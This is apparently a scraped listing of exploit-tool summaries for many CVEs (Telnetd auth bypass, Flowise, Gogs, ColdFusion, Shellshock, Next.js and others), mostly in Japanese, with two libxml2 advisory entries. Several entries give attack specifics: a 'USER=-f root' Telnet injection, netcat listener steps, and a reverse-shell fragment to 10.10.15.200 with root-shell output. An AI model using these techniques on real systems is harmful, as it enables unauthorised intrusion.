TelnetdBypass-

TelnetdBypass — CVE-2026-24061 スキャナー GNU InetUtils telnetd バージョン 1.9.3 から 2.7 における重大な（CVSS 9.8）認証バイパス脆弱性 CVE-2026-24061 を検出・悪用する、Python ベースのセキュリティスキャナーです。 動作原理 このスキャナーは、Telnet NEW-ENVIRON オプション（RFC 1572）を介して悪意のある USER=-f root 値を注入し、サーバーに認証をスキップさせて root シェルを取得させます。 特徴 単一 IP、ホスト名、または CIDR レンジ全体のスキャ...

ace-vim-neovim

ace-vim-neovim Vim/Neovim のモデルインによる任意コード実行 CVE-2019-12735 使い方 1. リッスン root@kitploit: nc -vlp 9999 2. ace root@kitploit: vim pocshell.txt その後、localhost でシェルが取得できます。...

CVE-2023-29017-reverse-shell

CVE-2023-29017-reverse-shell...

CVE-2026-6009

⚠️ 면책 조항: 이 저장소는 교육 목적 및 승인된 보안 테스트 용도로만 사용됩니다. 소유하지 않았거나 명시적 서면 허가를 받지 않은 시스템에 대해 사용하지 마세요. CVE-2026-6009 개념 증명 요약 Jaspersoft report 라이브러리 버전 = 7.0.3은 Java 역직렬화 흐름을 악용하여 원격 코드 실행RCE에 취약합니다. 이 취약점으로 인해 공격자는 이 라이브러리 버전을 사용하는 시스템에서 리버스 셸 연결을 수행할 수 있습니다. 라이브러리: Jaspersoft report 영향 받는 버전: = 7.0.3 취약점...

Snow Crash

Snow Crash 本项目是计算机安全的入门教程。Snow Crash 将通过以开发者为中心的方式，帮助你探索安全领域的多个子方向。你将熟悉多种语言（汇编、Perl、PHP 等），培养理解未知程序的逻辑思维，并意识到简单编程错误可能引发的问题。 描述 Snow Crash 是 42 学校网络安全分支的第一个项目。它介绍了一些知名的系统漏洞，主要聚焦于 Linux 操作系统，迫使我们去深入了解它并理解它如何可能被利用。 我们学习的主要主题包括： Linux 文件系统与命令 用户权限 Shell 和 Perl 脚本编写 C 与 PHP 可执行文件 评估 我们于 2025 年 2...

CVE-2025-24893_Shell

2025-24893Shell 必要条件: httpx 使用方法: python exploit.py victim.com...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Flowise バージョン &1|nc 10.10.15.200 443 /tmp/f' リスナーを確認すると動作するはずです: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

OpenSTAManager RCE エクスプロイト CVE-2026-38751 概要 このPythonスクリプトは、CVE-2026-38751として識別されたOpenSTAManagerバージョン2.10のリモートコード実行の脆弱性を悪用します。このエクスプロイトにより、認証されたユーザーは悪意のあるモジュールをアップロードし、ターゲットシステム上で任意のコマンドを実行できます。 脆弱性詳細 CVE ID : CVE-2026-38751 製品 : OpenSTAManager バージョン : 2.10 タイプ : リモートコード実行 RCE 攻撃ベクトル :...

CVE-2014-6271

CVE-2014-6271 Shellshock Python エクスプロイト HTTP 環境変数インジェクションを介して Shellshock 脆弱性 CVE-2014-6271 をテストするために設計された、クリーンで効率的かつインタラクティブな Python 実装。 📝 説明 Shellshock CVE-2014-6271 は Bash シェルにおける深刻なセキュリティ脆弱性であり、攻撃者は環境変数に格納された関数定義の末尾に任意のコマンドを付加することによって実行を可能にします。 このスクリプトは CGI Common Gateway Interface スクリプトを使用する...

libxml2: Stack Buffer Overflow in xmllint Interactive Shell Command Handling

A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare...

CVE-2025-32433-exploit

CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE このリポジトリには、Adobe ColdFusion 2021 の RCE 脆弱性に対するエクスプロイトコードが含まれています。 エクスプロイトの説明 エクスプロイトは、JSP リバースシェルを含む POST リクエストを /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm に送信します。成功すると、シェルが...

RoguePlanet

RoguePlanet RoguePlanet Windows Defender Vulnerability Welcome back everyone !!! The exploit is a race condition, so it's a hit or miss. I have managed to get a 100% success rate on some machines while it struggled to work on others. The exploit has been tested in Windows 11 Official channel +...

Low: Red Hat Security Advisory: libxml2 security update

An update for libxml2 is now available for Red Hat Enterprise Linux 10.0 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Low. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...

libxml2: Stack Buffer Overflow in xmllint Interactive Shell Command Handling

A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare...

CVE-2025-55182

CVE-2025-55182 エクスプロイト React Server ComponentsのCVE-2025-55182における脆弱性を悪用し、アプリケーションにシェルを注入するシンプルなPythonスクリプトです。このスクリプトはNext.jsバージョン16.0.6でテストされています。 使用方法 リポジトリをクローン root@kitploit: git clone https://github.com/ahmedshamsddin/CVE-2025-55182 脆弱なアプリケーションを実行 root@kitploit: cd CVE-2025-55182/vulnerable-a...

CVE-2025-8110-Gogs-RCE-Exploit

Gogs CVE-2025-8110 RCEエクスプロイト GogsのCVE-2025-8110 に対する自動化されたPythonエクスプロイトです。この脆弱性は、PutContents APIがファイルパスがシンボリックリンクかどうかを検証しないことを悪用して、リモートコード実行（RCE）を可能にします。シンボリックリンクを介して内部の.git/configファイルを上書きすることで、悪意のあるsshCommandを注入し、リバースシェルをトリガーします。 🛠️ 前提条件 Python 3と必要な依存関係がインストールされていることを確認してください： root@kitploit: pi...

CVE-2019-19369

CVE-2019-19369 - FusionPBX = 4.5.10 認証済みRCE 認証済み攻撃者は、FusionPBXバージョン = 4.5.10 のPHP-Editor機能を使用して、既存のPHPページの1つを編集し、PHPペイロードを挿入できます。変更されたファイルに移動することで、www-dataとしてシェルを取得できます。 発見者: TheCyberGeek...

CVE-2024-37770

CVE-2024-37770 説明 14Finger v1.1 は、fingerprint機能にリモートコマンド実行（RCE）の脆弱性が含まれていることが発見されました。この脆弱性により、攻撃者は細工されたペイロードを介して任意のコマンドを実行できます。 攻撃ベクトル 認証されていない攻撃者は、シェルメタキャラクタを介してコマンドインジェクションを実行し、リモートサーバーでRCEを引き起こす可能性があります。 詳細 コア機能のフィンガープリントスキャンポイントに、認証されていないリモートコマンド実行の脆弱性があります。...

React2shell-CVE-2025-55182-Exploit

このリポジトリには README がありません。...